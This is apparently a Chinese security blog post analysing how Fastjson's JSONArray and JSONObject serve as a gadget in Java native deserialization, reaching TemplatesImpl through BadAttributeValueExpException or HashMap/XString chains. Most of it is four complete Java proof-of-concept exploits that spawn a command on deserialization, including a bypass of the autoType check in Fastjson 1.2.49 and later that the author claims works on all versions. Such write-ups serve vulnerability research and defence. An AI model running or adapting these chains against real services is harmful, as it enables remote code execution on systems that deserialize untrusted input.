介绍

除了常见的 Fastjson 在调用自身的 JSON.parseObject() 来反序列化的时候会触发一些 Gadget 导致漏洞,Fastjson 自身其实也会在 jdk 原生反序列化中作为一个 Gadget 来触发漏洞。这就可以绕过高版本 Fastjson 中对 Autotype 的限制。而且这个利用暂时是 Fastjson 全版本通杀的。

分析

既然是与原生反序列化相关,那我们应该在 fastjson 包中看哪些类继承了 Serializable 接口,最后找完只有两个类, JSONArray 和 JSONObject 。

这两个类都继承自 JSON ,而这个类中存在一个 toString() 方法。前面我们在 Fastjson 漏洞总结中提到过,JSON.toString() 可以任意调用任意类的 getter 方法,而有些类的 getter 方法是可以直接触发漏洞的,比如著名的 TemplatesImpl 等等。那现在我们只需要找到 jdk 原生反序列化到 toString() 的链子,就可以连上链子,触发漏洞了。

这里有两个 jdk 原生的链子可以在 readObject() 中任意调 toString() :

  1. BadAttributeValueExpException.readObject() -> 任意调 toString()
  2. HashMap.readObject() -> XString.equals() (任意调 equals() )-> 任意调 toString() 。

POC

两者的 poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package com.just;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Demo8 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "RANDOM");
setValue(templates, "_tfactory", null);
return templates;
}

public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
return baos.toByteArray();
}

public static Object deserialize(byte[] byteArray) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(byteArray);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}

public static void main(String[] args) throws Exception{
// poc1();
poc2();
}

public static void poc1() throws Exception{
JSONArray array = new JSONArray();
array.add(getTemplatesImpl());

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", array);

deserialize(serialize(exception));
}

public static void poc2() throws Exception{
JSONArray array = new JSONArray();
array.add(getTemplatesImpl());

XString xString = new XString("111");

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", array);
hashMap1.put("zZ", xString);
hashMap2.put("yy", xString);
hashMap2.put("zZ", array);

HashMap map = new HashMap();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 2);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 2);
Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);

deserialize(serialize(map));
}
}

补充完善

但是上面按照直接思路写的 poc 只能用于 fastjson<=1.2.48 或者 fastjson2 ,在 fastjson 1.2.49 版本及以后上面的 poc 是用不了的,会报错: autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。这是为什么呢?

从 1.2.49 开始,我们的 JSONArray 以及 JSONObject 方法开始真正有了自己的 readObject 方法。

在对 JSONArray ( JSONObject )进行反序列化的时候,会通过 Fastjson 自定义的 SecureObjectInputStream 来处理,因此 JSONArray 内部封装了的恶意 TemplatesImpl 对象会被 SecureObjectInputStream#resolveClass() 中的 checkAutoType() 给过滤。

但是这就没办法绕过了吗?

之前在学习jdk7u21和jdk8u20原生反序列化漏洞分析链子的时候提到过,两个相同的对象在同一个反序列化的过程中只会被反序列化一次。那么我们可以在序列化的时候注入两个相同的 TemplatesImpl 对象,第二个 TemplatesImpl 对象被封装到 JSONArray 中。那么在靶机反序列化我们的 payload 时,如果先用正常的 ObjectInputStream 反序列化了第一个 TemplatesImpl 对象,那么在第二次在 JSONArray.readObject() 中,就不会再用 SecureObjectInputStream 来反序列化这个相同的 TemplatesImpl 对象了,就会绕过 checkAutoType() 的检查!

完善后的 poc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package com.just;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Demo8 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "RANDOM");
setValue(templates, "_tfactory", null);
return templates;
}

public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
return baos.toByteArray();
}

public static Object deserialize(byte[] byteArray) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(byteArray);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}

public static void main(String[] args) throws Exception{
// poc3();
poc4();
}

public static void poc3() throws Exception{
TemplatesImpl templates = getTemplatesImpl();

JSONArray array = new JSONArray();
array.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", array);

HashMap map = new HashMap();
map.put(templates, exception);

deserialize(serialize(map));
}

public static void poc4() throws Exception{
TemplatesImpl templates = getTemplatesImpl();

JSONArray array = new JSONArray();
array.add(templates);

XString xString = new XString("111");

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", array);
hashMap1.put("zZ", xString);
hashMap2.put("yy", xString);
hashMap2.put("zZ", array);

HashMap map = new HashMap();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 2);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 2);
Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);

HashMap obj = new HashMap();
obj.put(templates, map);

deserialize(serialize(obj));
}
}

至此 fastjson 全版本实现了原生反序列化利用!

参考文章

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%89%8D%E8%A8%80
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/